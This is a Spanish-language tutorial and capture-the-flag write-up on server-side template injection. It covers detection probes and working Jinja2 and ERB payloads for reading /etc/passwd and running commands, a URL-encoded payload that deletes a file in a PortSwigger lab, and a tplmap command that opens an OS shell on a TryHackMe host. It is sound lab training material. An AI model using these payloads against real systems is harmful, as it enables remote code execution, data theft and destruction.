#SSTI
#Que és STTI
Sus siglas significan “Server Side Template Injection”, y lo que ocurre en esta vulnerabilidad es cuando una pagina web es dinámica i se habilita introducir datos hacia paginas web o emails. Eso permite el atacante introducir una plantilla y así habilitar la inyección al lado del servidor. Eso es bastante fácil de confundir con el Cross-Site Scripting (XSS) o simplemente omitirlo.
A diferencia del XXS, la inyección de plantillas se puede utilizar para atacar directamente los componentes internos de los servidores web y a menudo obtener una ejecución remota (RCE), eso se convierte en un punto potencial para hacer el pivoting.
Ejemplo de código, vemos que pregunta un nombre en un formulario y después contesta con un Hello (nombre introducido).
1 | template = """ |
#Identificación
Lo primero que se tiene que hacer es comprobar és intrucciones en texto plano, existen varias plantillas distintas y se tiene que identificar el payload correspondiente. Las expressiones más comunes són:
1 | Var puede ser un calculo como {{20+1}} o {{3*'7'}} |
Si utilizamos el mismo ejemplo anterior y la respuesta és:
21
Eso significa que hemos encontrado el SSTI. Para seguir podemos buscar los payloads para la ejecucion de comandos, lo he sacado de PayloadsAllTheThings.
#Explotación
Para leer contenido podemos utilizar, con esto tendriamos un LFI.
1 | {{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }} |
Si queremos ejecucion de codigo podemos utilizar
1 | {{config.__class__.__init__.__globals__['os'].popen(cat /etc/passwd).read()}} |
Existe un script en python que sirve para hacer una explotacion automàtica, es tplmap y la sintaxis bàsica és:
#Ejemplos
#Reto 1 - Basic PortSwigger
Este ejemplo es en una lab de https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic
A primera vista no vemos nada fuera de lo commun.
Pero si le damos a View details
al primer producto podemos ver que nos devuelve un mensage en tipo post.
URL :
1 | https://ac7d1f211fbf166080f8360700e500b5.web-security-academy.net/?message=Unfortunately%20this%20product%20is%20out%20of%20stock |
Parece que podemos modificar el texto pero no ejecuta lo que hemos hecho anteriormente. Con este payload logramos que nos debuelba un message de error.
1 | ?message=<%= 20+1%> |
Una vez identificado la inyeccion vamos a probar de hacer primero el RCE.
Lo podemos hacer con los siguientes payloads:
1 | <%= system('cat /etc/passwd') %> |
El payload que utilizo en html encoded.
1 | message=%3C%=%20`id`%20%%3E |
Ahora seguimos con el objetivo:
Asi que con el payload siguiente lo completamos.
1 | message=%3C%=%20`rm%20/home/carlos/morale.txt`%20%%3E |
Y completamos la lab.
#Reto 2 - TryHackMe
És el que he utilizado como ejemplo asi que ya identificamos que és una plantilla jinja2. Asi que podemos utilizar los siguientes payloads para comprovarlo.
1 | {{4*4}}[[5*5]] |
Ahora vamos a probar de leer la flag.
1 | # Ejecucion mediante curl |
Output
1 | <!DOCTYPE html><html><body> <form action="/" method="post"> What's 2+2<br> <input type="text" name="name" value=""> <input type="submit" value="Submit"> </form><p>cooctus |
Lo interessante seria obtener un shell, eso lo podemos hacer con el tlpmap. Para ello debemos inicarle el siguiente comando.
1 | tplmap.py -u http://10.10.171.251 -d 'name' --os-shell -e Jinja2 |
Labs para practicar :
https://github.com/s4n7h0/xvwa
https://portswigger.net/web-security/server-side-template-injection/exploiting
Referencias:
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection
https://portswigger.net/research/server-side-template-injection
https://tryhackme.com/room/zthobscurewebvulns